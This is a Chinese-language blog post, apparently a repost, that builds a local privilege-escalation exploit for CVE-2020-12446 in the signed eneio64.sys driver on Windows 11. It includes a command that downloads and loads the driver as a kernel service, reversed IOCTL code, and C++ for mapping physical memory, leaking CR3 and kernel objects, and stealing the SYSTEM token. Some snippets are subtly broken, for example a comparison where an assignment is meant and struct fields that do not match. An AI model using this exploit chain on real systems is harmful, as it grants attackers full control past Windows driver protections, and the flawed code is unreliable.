通过将物理内存读写转换为虚拟内存读写,利用 Windows 11 上的 eneio64.sys 内核驱动程序

admin 2025年5月18日19:05:58评论3 views字数 20695阅读68分59秒阅读模式
通过将物理内存读写转换为虚拟内存读写,利用 Windows 11 上的 eneio64.sys 内核驱动程序
通过将物理内存读写转换为虚拟内存读写,利用 Windows 11 上的 eneio64.sys 内核驱动程序

本博文将逐步讲解如何设计一个用于利用CVE-2020-12446漏洞的 POC 。该漏洞影响eneio64.sys驱动程序 (Trident Z Lighting Control v1.00.08),该驱动程序提供对物理内存的读/写访问权限,并且与 HVCI 保持兼容。完整的漏洞利用源代码可在此处找到。

语境

有许多众所周知的驱动程序可用于提升权限或在内核中执行代码,例如臭名昭著的 dbutil_2_3.sys 或 RTCore64.sys。但是,除了驱动程序签名强制执行 (DSE) 之外,Microsoft 还通过易受攻击的驱动程序阻止列表 (自 Windows 11 22H2 起引入) 加强了 Windows 对易受攻击驱动程序加载的防范,并通过 HVCI 进行了加强。

从一些相当疯狂的 VBS 实验来看,我最初的目标是找到一个 DSE 授权的驱动程序,它可以为我提供在 Windows 11 内核上的写入原语,以便执行任意代码并将我自己的驱动程序加载到内核中。但首先我必须找出哪些易受攻击的驱动程序可能仍然被授权,所以我使用了HVC_LOLDrivers_check_csv.ps1脚本,该脚本查找哪些易受攻击的驱动程序据称已获得 HVCI 授权。我注意到确实有两个驱动程序可以加载到内核:rtkio.sys 和 eneio64.sys。最初我使用的是 rtkio.sys,但它给我带来了很多麻烦(稍后会详细介绍),后来我改用了 eneio64.sys。

通过将物理内存读写转换为虚拟内存读写,利用 Windows 11 上的 eneio64.sys 内核驱动程序
PS C:WindowsSystem32> Invoke-WebRequest -Uri "https://github.com/magicsword-io/LOLDrivers/raw/main/drivers/66066d9852bc65988fb4777f0ff3fbb4.bin" -OutFile "C:UsersUserDownloadseneio64.sys"; sc.exe create eneio64_2 binPath=C:UsersUserDownloadseneio64.sys type=kernel; sc.exe start eneio64_2SERVICE_NAME: eneio64_2TYPE : 1  KERNEL_DRIVERSTATE : 4  RUNNING                        (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)WIN32_EXIT_CODE : 0  (0x0)SERVICE_EXIT_CODE : 0  (0x0)CHECKPOINT : 0x0WAIT_HINT : 0x0PID : 0FLAGS :

本文介绍的 POC 是在启用 VBS 和 HVCI 的 Windows 11 22H2 系统下执行并测试的。截至撰写本文时(2025 年 3 月 8 日),eneio64.sys 也可以在 Windows 11 23H2 和 24H2 系统上加载。

驱动程序已加载,但我仍然需要检查是否可以从低级完整性进程与其交互。这可以通过与驱动程序关联的对象的安全描述符来检查:

1: kd> !object DeviceObject: ffffe282fae59940 Type: (ffffd1090b2c1900) Directory[....]     34 ffffd10912ff4a00 Device GLCKIo1: kd> dt _DEVICE_OBJECT ffffd10912ff4a00 SecurityDescriptornt!_DEVICE_OBJECT   +0x110 SecurityDescriptor : 0xffffe282`faf880a0 Void1: kd> !sd 0xffffe282`faf880a0->Revision: 0x1->Sbz1 : 0x0->Control : 0x8814            SE_DACL_PRESENT            SE_SACL_PRESENT            SE_SACL_AUTO_INHERITED            SE_SELF_RELATIVE->Owner : S-1-5-32-544->Group : S-1-5-18->Dacl : ->Dacl : ->AclRevision: 0x2->Dacl : ->Sbz1 : 0x0->Dacl : ->AclSize : 0x5c->Dacl : ->AceCount : 0x4->Dacl : ->Sbz2 : 0x0->Dacl : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE->Dacl : ->Ace[0]: ->AceFlags: 0x0->Dacl : ->Ace[0]: ->AceSize: 0x14->Dacl : ->Ace[0]: ->Mask : 0x001201bf->Dacl : ->Ace[0]: ->SID: S-1-1-0

与 DACL 关联的权限掩码是0x001201bf,并且sd.py脚本显示我们拥有与驱动程序交互所需的所有权限,因此让我们开始吧。

PS C:> python3.12.exe .sd.py    Access Mask: 0x001201bf    Rights associated with the mask:    - STANDARD_RIGHTS_EXECUTE    - SYNCHRONIZE    - FILE_READ_DATA    - FILE_WRITE_DATA    - FILE_APPEND_DATA    - FILE_READ_EA    - FILE_WRITE_EA    - FILE_EXECUTE    - FILE_READ_ATTRIBUTES    - FILE_WRITE_ATTRIBUTES    - STANDARD_RIGHTS_ALL

漏洞概述:对物理内存的读/写访问

与影响 eneio64.sys 的漏洞相关的 CVE 为CVE-2020-12446。CVEdetails.com指出:“G.SKILL Trident Z Lighting Control 中 1.00.08 及更高版本中的 ene.sys 驱动程序会向非特权本地用户暴露物理内存映射和取消映射、MSR(模型特定寄存器)寄存器的读写以及 I/O 端口的访问和退出”。

与易受攻击的驱动程序通常暴露的原语不同,eneio64.sys 提供了写入和读取系统物理内存的功能。但由于我们处理的是虚拟地址,因此我感兴趣的是如何将虚拟地址(尤其是用户模式下泄漏的对象,例如 EPROCESS 和 KTHREAD 对象或池地址)转换为物理地址,以便弥补差距,并假装我们有一个易受攻击的驱动程序,它提供对虚拟地址的写入原语,而无需担心它们的物理地址。这篇文章解释了我是如何做到这一点的,结果非常酷。

该驱动程序很容易分析:IOCTL 0x80102040 明确表明触发时会映射一些物理内存。用户控制的数据被复制到输入(标签),并将此参数作为 sub_1400011D0 的第二个参数传递。然后,相同的输入被发送回用户,表明输入结构中的某些数据在发送回之前已被填充。需要注意的是,physicalAddress 的值从未被填充,并且不是返回值。

[...]  DbgPrint("Entering WinIoDispatch");  irp->IoStatus.Status = 0;  irp->IoStatus.Information = 0i64;  irp_curstackloc = sub_140001180(irp);  MasterIrp = irp->AssociatedIrp.MasterIrp;  Options = irp_curstackloc->Parameters.Create.Options;  Length = irp_curstackloc->Parameters.Read.Length;  MajorFunction = irp_curstackloc->MajorFunction;if ( MajorFunction )  {if ( MajorFunction == 2 )    {      DbgPrint("IRP_MJ_CLOSE");    }elseif ( MajorFunction == 0xE )    {      DbgPrint("IRP_MJ_DEVICE_CONTROL");      LowPart = irp_curstackloc->Parameters.Read.ByteOffset.LowPart;      v8 = LowPart + 2146426816;switch ( LowPart )      {case0x80102040:          DbgPrint("IOCTL_WINIO_MAPPHYSTOLIN");if ( Options )          {            qmemcpy(input, MasterIrp, Options);            Status = sub_1400011D0(                       *(PHYSICAL_ADDRESS *)physicalAddress,                       *(SIZE_T *)input,                       (PVOID *)v21,                       (void **)sectionHandle,                       &object);if ( Status >= 0 )            {              qmemcpy(MasterIrp, input, Options);              irp->IoStatus.Information = Options;            }[...]

映射函数的作用非常简单:它使用具有扩展访问权限(0xF001F)的 ZwOpenSection 在物理内存上打开一个部分,然后使用 ObReferenceObjectByHandle 函数获取对该部分对象的引用,然后使用 HalTranslateBusAddress 将物理地址转换为总线地址(某些硬件所必需的),然后使用 ZwMapViewOfSection 将物理内存部分映射到调用进程的虚拟地址空间。

__int64 __fastcall sub_1400011D0(        PHYSICAL_ADDRESS physAddr,        SIZE_T input,        PVOID *a3,        void **sectionHandle,        PVOID *Object){  [...]  SectionHandle = sectionHandle;  v18 = a3;  input_2 = input;  BaseAddress = 0i64;  DbgPrint("Entering MapPhysicalMemoryToLinearSpace");  RtlInitUnicodeString(&device_physmem, L"\Device\PhysicalMemory");  ObjectAttributes.Length = 0x30;  ObjectAttributes.RootDirectory = 0i64;  ObjectAttributes.Attributes = 0x40;  ObjectAttributes.ObjectName = &device_physmem;  ObjectAttributes.SecurityDescriptor = 0i64;  ObjectAttributes.SecurityQualityOfService = 0i64;  *SectionHandle = 0i64;  *Object = 0i64;  handleObj = ZwOpenSection(SectionHandle, 0xF001Fu, &ObjectAttributes);if ( handleObj < 0 )  {    DbgPrint("ERROR: ZwOpenSection failed");  }else  {    handleObj = ObReferenceObjectByHandle(*SectionHandle, 0xF001Fu, 0i64, 0, Object, 0i64);if ( handleObj < 0 )    {      DbgPrint("ERROR: ObReferenceObjectByHandle failed");    }else    {      BusAddress = physAddr;      TranslatedAddress.QuadPart = input_2 + physAddr.QuadPart;      AddressSpace = 0;      v8 = HalTranslateBusAddress(Isa, 0, physAddr, &AddressSpace, &BusAddress);      AddressSpace = 0;      v7 = HalTranslateBusAddress(Isa, 0, TranslatedAddress, &AddressSpace, &TranslatedAddress);if ( v8 && v7 )      {        input_2 = TranslatedAddress.QuadPart - BusAddress.QuadPart;        SectionOffset = BusAddress;        handleObj = ZwMapViewOfSection(                      *SectionHandle,                      (HANDLE)-1i64,                      &BaseAddress,0i64,                      TranslatedAddress.QuadPart - BusAddress.QuadPart,                      &SectionOffset,                      &input_2,                      ViewShare,0,0x204u);if ( handleObj == 0xC0000018 )          handleObj = ZwMapViewOfSection(                        *SectionHandle,                        (HANDLE)-1i64,                        &BaseAddress,0i64,                        input_2,                        &SectionOffset,                        &input_2,                        ViewShare,0,4u);if ( handleObj >= 0 )        {          BaseAddress = (char *)BaseAddress + BusAddress.QuadPart - SectionOffset.QuadPart;          *v18 = BaseAddress;        [...]
然而,目前尚不清楚如何操作输入结构。提醒一下,它与 IOCTL 管理完成后返回给用户的输入结构相同。因此,我建议尝试不同的方法。经过几次尝试(以及崩溃),最终发现该函数应该采用一个包含 5 个元素的结构,不多不少。我们知道该结构的前 8 个字节指定了要映射的物理内存的大小,因此我们可以使用 GlobalMemoryStatusEx 检索最高的物理地址,并指定我们希望将物理内存映射到最后一个现有物理地址。

MEMORYSTATUSEX memoryStatus;memoryStatus.dwLength = sizeof(memoryStatus);if (GlobalMemoryStatusEx(&memoryStatus)) {printf("[*] Total physical memory: ~0x%llx bytesn", memoryStatus.ullTotalPhys);}else {printf("[X] Failed to retrieve memory information. Error: %lun", GetLastError());}
[*] Total physical memory: ~0x1a55f9000 bytes

该结构的其他 4 个成员将被设置为 0。

typedef struct _INPUTBUF{    ULONG64 val1;    ULONG64 val2;    ULONG64 val3;    ULONG64 val4;    ULONG64 val5;} INPUTBUF;INPUTBUF* inbuf = (INPUTBUF*)malloc(sizeof(INPUTBUF));inbuf->size = (memoryStatus.ullTotalPhys);inbuf->val1 = 0;inbuf->val2 = 0;inbuf->mappingAddress = 0;inbuf->val3 = 0;

接下来,我们通过易受攻击的 IOCTL 与驱动程序交互,并指定它在输入和输出上具有相同的结构:

BOOL success = DeviceIoControl(    drv,    IOCTL_WINIO_MAPPHYSTOLIN,    inbuf,sizeof(INPUTBUF),    inbuf,sizeof(INPUTBUF),    &bytes_returned,    (LPOVERLAPPED)NULL);

然后,我们将自己定位到 sub_1400011D0 (.text:00000001400019F3) 的开头并检查 RSP+0x78,它稍后将传递给 RDX(第二个参数),在那里我们看到第一个结构成员(0x01a55f9000)和设置为 0 的以下参数:

0: kd> bp eneio64+0x19F30: kd> gBreakpoint 2 hiteneio64+0x19f3:fffff807`6eff19f3 488d842498000000 lea rax,[rsp+98h]1: kd> dqs rsp+78h L5ffffbb01`9ba2f688 00000001`a55f9000ffffbb01`9ba2f690 00000000`00000000ffffbb01`9ba2f698 00000000`00000000ffffbb01`9ba2f6a0 00000000`00000000ffffbb01`9ba2f6a8 00000000`00000000

然后,我们继续处理 sub_1400011D0 完成后发生的复制操作,即qmemcpy(MasterIrp, input, Options) (.text:0000000140001A2D),该函数接收输入结构并将其复制到输出缓冲区。我们再次检查 RSP+0x78 ,发现一些结构成员已被填充。

我们获得了节视图的虚拟地址 (0x000001b8c5c50000),该地址映射到调用进程的虚拟内存空间,以及 PhysicalMemory 节对象的地址 (0xffffc10fe92cd190)。

0: kd> bp eneio64+0x1A2D0: kd> gBreakpoint 0 hiteneio64+0x19de:fffff807`6eff19de 8b442430 mov eax,dword ptr [rsp+30h]2: kd> dqs rsp+0x78ffffbb01`9b477688 00000001`a91f9000ffffbb01`9b477690 00000000`00000000ffffbb01`9b477698 00000000`000000ccffffbb01`9b4776a0 000001a5`0c120000ffffbb01`9b4776a8 ffffc10f`e92cd1902: kd> !object ffffc10f`e92cd190Object: ffffc10fe92cd190 Type: (ffffe7045e5f5820) SectionObjectHeader: ffffc10fe92cd160 (new version)HandleCount1PointerCount32771    Directory Object: ffffc10fe928b0a0 Name: PhysicalMemory

这里我们只需要节视图的基地址,因为它似乎从物理地址的起始位置(即物理地址 0x0)映射物理地址。在 WinDbg 中,与将dd虚拟地址中的值显示为 4 字节序列的命令不同,WinDbg 执行的操作!dd与此相同,只不过针对的是物理地址。

6: kd> dd 000001a5`0c120000+5000 L10000001a5`0c125000 c000c000 fffff7b0 7d2f8110 fffff804000001a5`0c125010 f7ff90e8 00000000 54445358 0000005c000001a5`0c125020 52560401 4c415554 5243494d 5446534f000001a5`0c125030 00000001 5446534d 00000001 f7ff80006: kd> !dd 0x0+5000 L10#    5000 c000c000 fffff7b0 7d2f8110 fffff804#    5010 f7ff90e8 00000000 54445358 0000005c#    5020 52560401 4c415554 5243494d 5446534f#    5030 00000001 5446534d 00000001 f7ff8000

我们可以看到,映射视图中映射的物理地址和其关联的虚拟地址之间没有偏移量,因此我们可以按如下方式推理来获取与视图的虚拟地址相关联的物理地址:

通过将物理内存读写转换为虚拟内存读写,利用 Windows 11 上的 eneio64.sys 内核驱动程序

现在,我们可以将输入结构成员重命名如下:第一个成员是我们希望映射的物理内存量,第四个成员是映射视图的地址,该地址由驱动程序在完成部分映射后填充:

typedefstruct _INPUTBUF {    ULONG64 size;    ULONG64 val2;    ULONG64 val3;    ULONG64 mappingAddress;    ULONG64 val5;} INPUTBUF;

需要注意的是,该驱动程序还通过 IOCTL 0x80102044 提供了段取消映射功能。漏洞利用代码会在执行结束时或发生错误时使用该功能取消映射物理内存段。

case0x80102044:    DbgPrint("IOCTL_WINIO_UNMAPPHYSADDR");if ( Options )    {    qmemcpy(input, MasterIrp, Options);    Status = sub_140001650(*(void **)sectionHandle, *(void **)v21, object);    irp->IoStatus.Status = Status;    }else    {    irp->IoStatus.Status = 0xC000000D;    }

漏洞利用

好的,我们已经获得了驱动程序作为输入的结构,也找到了一种对所有可用物理内存进行读写访问的方法,但是我们该如何处理呢?我的目标是能够将任何虚拟地址(包括内核中的虚拟地址)转换为物理地址,这样任何可能的漏洞利用技术都可以在这个驱动程序上实现,就像我们拥有任何其他提供虚拟内存访问权限的驱动程序一样。

为了将虚拟地址转换为物理地址,操作系统依赖于四个不同页表的层次结构:PML4(页面映射级别 4)、PDPT(页面目录指针表)、PDT(页面目录表)和 PT(页面表)。每个表在转换过程中都扮演着特定的角色。PML4 表是顶层表,包含指向 PDPT 的条目。反过来,PDPT 包含引用 PDT 的条目,而 PDT 条目又指向 PT。最后,PT 包含直接引用内存中物理地址的条目。这种多级方法使操作系统能够高效地管理内存,尤其是在具有大地址空间的系统中。

此外,PFN(页框号)的概念在此过程中至关重要。PFN 是物理地址的一部分,表示物理内存中存储数据的特定页框。解析最终的 PT 条目时,它会提供 PFN,然后将其与偏移量(源自虚拟地址)组合以形成完整的物理地址。此偏移量标识了页框内的确切位置。

虽然本文提供了非常高层次的概述,但这个主题相当复杂,涉及内存管理和地址转换的复杂细节。为了更深入地理解,我强烈建议您参考Connor McGarr 的这篇精彩博客文章,其中详尽解释了这一转换过程在实践中的工作原理。

通过将物理内存读写转换为虚拟内存读写,利用 Windows 11 上的 eneio64.sys 内核驱动程序

CR3 控制寄存器包含 PML4 表(顶级页表)的物理地址。在虚拟地址到物理地址的转换过程中,CPU 使用 CR3 来定位 PML4。这将启动页表遍历,其中每个表条目指向下一级(PDPT、PDT、PT),最终指向物理地址。如果这些听起来都不熟悉,只需记住 CR3 提供了转换过程的 起点

。 我们拥有完整的物理内存映射,因此依赖于在物理地址中查找条目的转换过程触手可及,但我们仍然需要一个关键信息:CR3 的值。

物理内存布局的起始位置包含一个名为Low Stub的结构体,其类型为PROCESSOR_START_BLOCK。Low Stub 最初位于物理内存起始位置的固定地址,但在 Windows 的最新版本中被随机化,并且始终位于0x10000和之间0x20000。nt!HalpLowStub 指向 Low Stub 的虚拟地址。该结构包含(除其他内容外)指向 nt!HalpLMStub 的指针,后跟 CR0、CR3和 CR4 的值。

0: kd> dqs poi(nt!HalpLowStub) L20fffff7b0`c000b000 00000001`00064de9fffff7b0`c000b008 1018003f`00000001fffff7b0`c000b010 00000000`00000001fffff7b0`c000b018 00000000`00000000fffff7b0`c000b020 00000000`00000000fffff7b0`c000b028 00209b00`00000000fffff7b0`c000b030 00000000`00000000fffff7b0`c000b038 00cf9300`0000fffffffff7b0`c000b040 00000000`00000000fffff7b0`c000b048 00cf9b00`0000fffffffff7b0`c000b050 00000000`00000000fffff7b0`c000b058 00000000`f7fff000fffff7b0`c000b060 16da0030`0001167cfffff7b0`c000b068 00000000`00100001fffff7b0`c000b070 fffff804`7ca10890 nt!HalpLMStubfffff7b0`c000b078 fffff7b0`c000b000fffff7b0`c000b080 00070106`00070106fffff7b0`c000b088 00000000`00000901fffff7b0`c000b090 00000000`80050033 -> CR0 fffff7b0`c000b098 00000000`00000000fffff7b0`c000b0a0 00000000`007d5000 -> CR3fffff7b0`c000b0a8 00000000`00350ef8 -> CR4[...]
在物理内存中,我们可以看到 nt!HalpLMStub 的地址位于物理地址 0x11070。因此,为了在物理内存中定位 Low Stub,我们可以在 0x10000 到 0x20000 之间查找 nt!HalpLMStub 的地址,并推断出在引用该函数的物理地址上加上 0x30 就能得到存储 CR3 的物理地址。这样,我们就得到了 CR3 的值!

通过将物理内存读写转换为虚拟内存读写,利用 Windows 11 上的 eneio64.sys 内核驱动程序

对于 Windows 11 22H2,nt!HalpLMStub 包含在0x410890ntoskrnl.exe 的偏移量处。

0: kd> ? nt!HalpLMStub - ntEvaluate expression: 4262032 = 00000000`00410890
在用户模式下,我们可以通过使用 EnumDeviceDrivers 函数泄露 NTOS 基址。nt!HalpLMStub 地址是通过将偏移量添加到 NTOS 基址得到的。请务必根据漏洞利用程序的目标版本(此处为 Win11 22H2)调整此偏移量。
ULONG64 GetNtosBase() {LPVOID driverBaseAddresses[1024];DWORD sizeRequired;if (EnumDeviceDrivers(driverBaseAddresses, sizeof(driverBaseAddresses), &sizeRequired)) {return (ULONG64)driverBaseAddresses[0];    }return NULL;}ULONG64 HalpLmStub = GetNtosBase() + 0x00410890;

因此,我们可以先在 0x10000 到 0x20000 之间的物理内存空间中搜索 nt!HalpLmStub 的地址,然后将每次读取的 8 字节数据与 nt!HalpLmStub 的地址进行比较,从而找到 CR3 的值。找到后,我们将 0x30 添加到物理地址,然后读取其中的内容,这样就能自然而然地得到 CR3 的值:

INPUTBUF* inbuf = (INPUTBUF*)malloc(sizeof(INPUTBUF));    inbuf->Size = (memoryStatus.ullTotalPhys);    inbuf->val2 = 0;    inbuf->val3 = 0;    inbuf->MappingAddress = 0;    inbuf->val5 = 0;    BOOL success = DeviceIoControl(        drv,        IOCTL_WINIO_MAPPHYSTOLIN,        inbuf,sizeof(INPUTBUF),        inbuf,sizeof(INPUTBUF),        &bytes_returned,        (LPOVERLAPPED)NULL    );if (success) {        wprintf(L"[*] Mapped %llx bytes at %pn", inbuf->Size, inbuf->MappingAddress);        BYTE* memory_data = (BYTE*)inbuf->MappingAddress;        UINT64 halpLmStubPhysicalPointer = 0;        DWORD_PTR physical_offset;for (physical_offset = 0x10000; physical_offset < 0x20000; physical_offset += sizeof(UINT64)) {            UINT64 qword_value = 0;for (size_t i = 0; i < sizeof(UINT64); ++i) {                qword_value |= (UINT64)(memory_data[physical_offset + i]) << (i * 8);            }if (qword_value == HalpLmStub) {std::cout << "[*] Found nt!HalpLMStub in Low Stub at " << std::hex << qword_value << std::endl;                halpLmStubPhysicalPointer = qword_value;break;            }        }if (halpLmStubPhysicalPointer == 0) {std::cout << "[X] Cannot find nt!HalpLMStub in Low Stub" << std::endl;        }        ULONG32 cr3 = 0;for (size_t i = 0; i < sizeof(ULONG32); ++i) {            cr3 |= (ULONG32)(memory_data[physical_offset + 0x30 + i]) << (i * 8);        }std::cout << "[*] Leaked CR3 -> " << std::hex << cr3 << std::endl;

对于虚拟地址到物理地址的转换过程,由于我比较懒,所以我找到了一个现成的、相当不错的函数,它实现了转换背后的算法,所以我只需要根据我的情况进行调整即可。该函数的参数包括 CR3(希望转换为物理地址的虚拟地址)以及指向先前获取的物理内存段视图的指针。

UINT64 VirtualToPhysical(UINT64 cr3, UINT64 virtualAddr, BYTE* map){    UINT64 physicalAddr = 0;uint16_t PML4 = (uint16_t)((virtualAddr >> 39) & 0x1FF);uint16_t DirectoryPtr = (uint16_t)((virtualAddr >> 30) & 0x1FF);uint16_t Directory = (uint16_t)((virtualAddr >> 21) & 0x1FF);uint16_t Table = (uint16_t)((virtualAddr >> 12) & 0x1FF);uint64_t PML4E = 0;for (size_t i = 0; i < sizeof(uint64_t); ++i) {        PML4E |= (uint64_t)(map[(cr3 + PML4 * sizeof(uint64_t)) + i]) << (i * 8);    }std::cout << "t[*] PML4E at " << std::hex << PML4E << std::endl;uint64_t PDPTE = 0;for (size_t i = 0; i < sizeof(uint64_t); ++i) {        PDPTE |= (uint64_t)(map[((PML4E & 0xFFFF1FFFFFF000) + (uint64_t)DirectoryPtr * sizeof(uint64_t)) + i]) << (i * 8);    }std::cout << "t[*] PDPTE at " << std::hex << PDPTE << std::endl;if ((PDPTE & (1 << 7)) != 0) {        physicalAddr = (PDPTE & 0xFFFFFC0000000) + (virtualAddr & 0x3FFFFFFF);return physicalAddr;    }uint64_t PDE = 0;for (size_t i = 0; i < sizeof(uint64_t); ++i) {        PDE |= (uint64_t)(map[((PDPTE & 0xFFFFFFFFFF000) + (uint64_t)Directory * sizeof(uint64_t)) + i]) << (i * 8);    }std::cout << "t[*] PDE at " << std::hex << PDE << std::endl;if ((PDE & (1 << 7)) != 0) {        physicalAddr = (PDE & 0xFFFFFFFE00000) + (virtualAddr & 0x1FFFFF);return physicalAddr;    }uint64_t PTE = 0;for (size_t i = 0; i < sizeof(uint64_t); ++i) {        PTE |= (uint64_t)(map[((PDE & 0xFFFFFFFFFF000) + (uint64_t)Table * sizeof(uint64_t)) + i]) << (i * 8);    }std::cout << "t[*] PTE at " << std::hex << PTE << std::endl;    physicalAddr == (PTE & 0xFFFFFFFFFF000) + (virtualAddr & 0xFFF);return physicalAddr;}

在继续之前,我想提请您注意在物理内存上提供原语的驱动程序的一个常见问题。某些驱动程序(例如rtkio.sys)不使用 ZwMapViewOfSection 来映射物理内存,而是使用MmMapIoSpace。使用此函数执行相同的物理到虚拟的操作是不可能的(这就是我在使用 rtkio.sys 时遇到的问题),因为自 Windows 10 1803 以来,该函数已被修补以禁止将特定于分页结构的物理地址映射到虚拟内存中,从而可以通过 Low Stub 技巧获取 CR3,但无法获取分页结构中的条目,因此无法将虚拟地址转换为物理地址。幸运的是,我们这里有一个使用 ZwMapViewOfSection 的好驱动程序,它允许我们不受任何限制地映射所有内容。

为了说明这种转换机制的有效性,我们将使用该驱动程序通过窃取 SYSTEM 的令牌来提升权限。首先,我们来了解如何获取被窃取令牌将被复制到的进程的 EPROCESS 对象的地址。LeakKthread ()函数会泄露线程的 KTHREAD 对象的地址。

ULONG64 LeakKTHREAD(HANDLE dummythreadHandle)    {        NTSTATUS retValue = STATUS_INFO_LENGTH_MISMATCH;int size = 1;        PULONG outSize = 0;        PSYSTEM_HANDLE_INFORMATION out = (PSYSTEM_HANDLE_INFORMATION)malloc(size);if (out == NULL)        {goto exit;        }do        {            free(out);            size = size * 2;out = (PSYSTEM_HANDLE_INFORMATION)malloc(size);if (out == NULL)            {goto exit;            }            retValue = NtQuerySystemInformation2(                SystemHandleInformation,out,                (ULONG)size,                outSize            );        } while (retValue == STATUS_INFO_LENGTH_MISMATCH);if (retValue != STATUS_SUCCESS)        {if (out != NULL)            {                free(out);goto exit;            }goto exit;        }else        {for (ULONG i = 0; i < out->HandleCount; i++)            {                DWORD objectType = out->Handles[i].ObjectTypeNumber;if (out->Handles[i].ProcessId == GetCurrentProcessId())                {if (dummythreadHandle == (HANDLE)out->Handles[i].Handle)                    {                        ULONG64 kthreadObject = (ULONG64)out->Handles[i].Object;                        free(out);return kthreadObject;                    }                }            }        }    exit:        CloseHandle(dummythreadHandle);return (ULONG64)retValue;    }
因此,我们可以创建一个虚拟线程,然后泄漏其 KTHREAD 对象,如下所示:
voidrandomFunction(void)return; }HANDLE createdummyThread(void){    HANDLE dummyThread = CreateThread(NULL,0,        (LPTHREAD_START_ROUTINE)randomFunction,NULL,        CREATE_SUSPENDED,NULL    );if (dummyThread == (HANDLE)-1) { gotoexit; }else { return dummyThread; }exit:return (HANDLE)-1;}HANDLE dummyHandle = createdummyThread();ULONG64 kthread = LeakKTHREAD(dummyHandle);
然后,您可以使用 VirtualToPhysical 函数获取泄漏的 KTHREAD 对象的物理地址。由于 VirtualToPhysical 只是虚拟地址到物理地址转换机制的“转录”,因此在极少数情况下可能会失败。为了解决这个潜在问题,我们创建一个新线程并获取其 KTHREAD 物理地址,直到我们确定该物理地址有效为止:
HANDLE dummyHandle = 0;ULONG64 kthread = 0x0;UINT64 kThreadPhysical = 0;do {    dummyHandle = createdummyThread();    kthread = LeakKTHREAD(dummyHandle);    kThreadPhysical = VirtualToPhysical(cr3, kthread, memory_data);while (kThreadPhysical == 0);std::cout << "[*] KTHREAD at " << std::hex << kthread << std::endl;if (kThreadPhysical != 0x0) {std::cout << "[*] KTHREAD Physical Address at " << kThreadPhysical << std::endl;}else {     UnMapViewOfSection(drv, inbuf);std::cout << "[X] Failed to retrieve Physical Address for KTHREAD. Spawning new thread..." << std::endl;}

KTHREAD 结构包含指向线程所有者进程的 EPROCESS 对象的指针。

8: kd> dt _KTHREAD Processnt!_KTHREAD   +0x220 Process : Ptr64 _KPROCESS

因此,可以通过获取该指针的地址来获取当前进程的 EPROCESS,如下所示。如果 VirtualToPhysical 无法找到 EPROCESS 的物理地址,我们将重新启动进程,直到找到有效的 EPROCESS 物理地址。

UINT64 kprocessPointerPhysical = kThreadPhysical + KTHREAD_PROCESS_OFFSET;UINT64 currentProcAddr = 0;for (size_t i = 0; i < sizeof(UINT64); ++i) {    currentProcAddr |= (UINT64)(memory_data[kprocessPointerPhysical + i]) << (i * 8);}std::cout << "[*] Current Proc EPROCESS at " << std::hex << currentProcAddr << std::endl;UINT64 currentProcPhysical = VirtualToPhysical(cr3, currentProcAddr, memory_data);if (currentProcPhysical == 0x0) {    UnMapViewOfSection(drv, inbuf);std::cerr << "[X] Current Process EPROCESS not valid (= 0). Spawning new process..." << std::endl;    restart_process();}std::cout << "[*] Current Proc EPROCESS Physical at " << std::hex << currentProcPhysical << std::endl;
现在我们已经从 KTHREAD 泄漏了进程的 EPROCESS 对象,接下来我们可以将注意力转向查找要窃取其令牌的 System.exe 进程。一个简单的方法是从内核的大池中泄漏第一个标记为“Proc”(0x636f7250)的池的地址,这可以在用户模式下使用 NtQuerySystemInformation 完成,如下所示:
ULONG64 LeakSystemPoolAddr(){unsignedint len = sizeof(SYSTEM_BIGPOOL_INFORMATION);unsignedlong out;    PSYSTEM_BIGPOOL_INFORMATION info = NULL;    NTSTATUS status = ERROR;do {        len *= 2;        info = (PSYSTEM_BIGPOOL_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);        status = NtQuerySystemInformation2(SystemBigPoolInformation, info, len, &out);    } while (status == (NTSTATUS)0xc0000004);if (!SUCCEEDED(status)) {printf("NtQuerySystemInformation failed with error code 0x%Xn", status);returnNULL;    }for (unsignedint i = 0; i < info->Count; i++) {        SYSTEM_BIGPOOL_ENTRY poolEntry = info->AllocatedInfo[i];if (poolEntry.TagUlong != 0x636f7250) {continue;        }printf("[*] Tag: %.*s, Address: 0x%llx, Size: 0x%xn"4, poolEntry.Tag, poolEntry.VirtualAddress, poolEntry.SizeInBytes);return (UINT64)poolEntry.VirtualAddress;    }returnNULL;}
EPROCESS 对象位于 ProcPoolAddress+0x3f 处。因此,我们可以使用 VirtualToPhysical 定位 System.exe EPROCESS 对象的物理地址,并使用它来检索其令牌。
UINT64 sysProcPoolAddr = LeakSystemPoolAddr();UINT64 sysProcAddr = sysProcPoolAddr + 0x3f;std::cout << "[*] System EPROCESS at " << sysProcAddr << std::endl;UINT64 physicalSysPoolAddr = VirtualToPhysical(cr3, sysProcAddr, memory_data);std::cout << "[*] System EPROCESS physical addr at " << std::hex << physicalSysPoolAddr << std::endl;UINT64 systemTokenPhysAddr = physicalSysPoolAddr + EPROCESS_TOKEN_OFFSET;std::cout << "[*] System Token physical addr at " << std::hex << systemTokenPhysAddr << std::endl;UINT64 systemToken = 0;for (size_t i = 0; i < sizeof(UINT64); ++i) {    systemToken |= (UINT64)(memory_data[systemTokenPhysAddr + i]) << (i * 8);}systemToken = (systemToken & 0xFFFFFFFFFFFFFFF0);std::cout << "[*] System Token : " << std::hex << systemToken << std::endl;
最后,我们获取 System.exe 的令牌并将其复制到引用我们进程令牌的物理地址。复制令牌后,我们启动 powershell.exe 实例,并享受 NT AUTHORITYSYSTEM 权限。
UINT64 currentProcTokenPhysical = (currentProcPhysical + EPROCESS_TOKEN_OFFSET);std::cout << "[*] Current Process Token physical addr at " << std::hex << currentProcTokenPhysical << std::endl;for (int i = 0; i < sizeof(UINT64); ++i) {    memory_data[currentProcTokenPhysical + i] = (BYTE)((systemToken >> (i * 8)) & 0xFF);}std::cout << "[*] Exploit Completed !" << std::endl;UnMapViewOfSection(drv, inbuf);system("powershell.exe");

完整的漏洞利用代码可以在Github 仓库 中找到https://github.com/Xacone/Eneio64-Driver-Exploit。感谢阅读!

参考

  • Connor McGarr - 翻开新的一页:Windows 10 x64 上的内存分页简介

https://connormcgarr.github.io/paging/

  • Connor McGarr - 漏洞利用开发:没有代码执行?没问题!VBS、HVCI 和内核 CFG 时代

https://connormcgarr.github.io/hvci/

  • Satoshi Tanda - 在 Windows 上初始化应用程序处理器

https://standa-note.blogspot.com/2020/03/initializing-application-processors-on.html

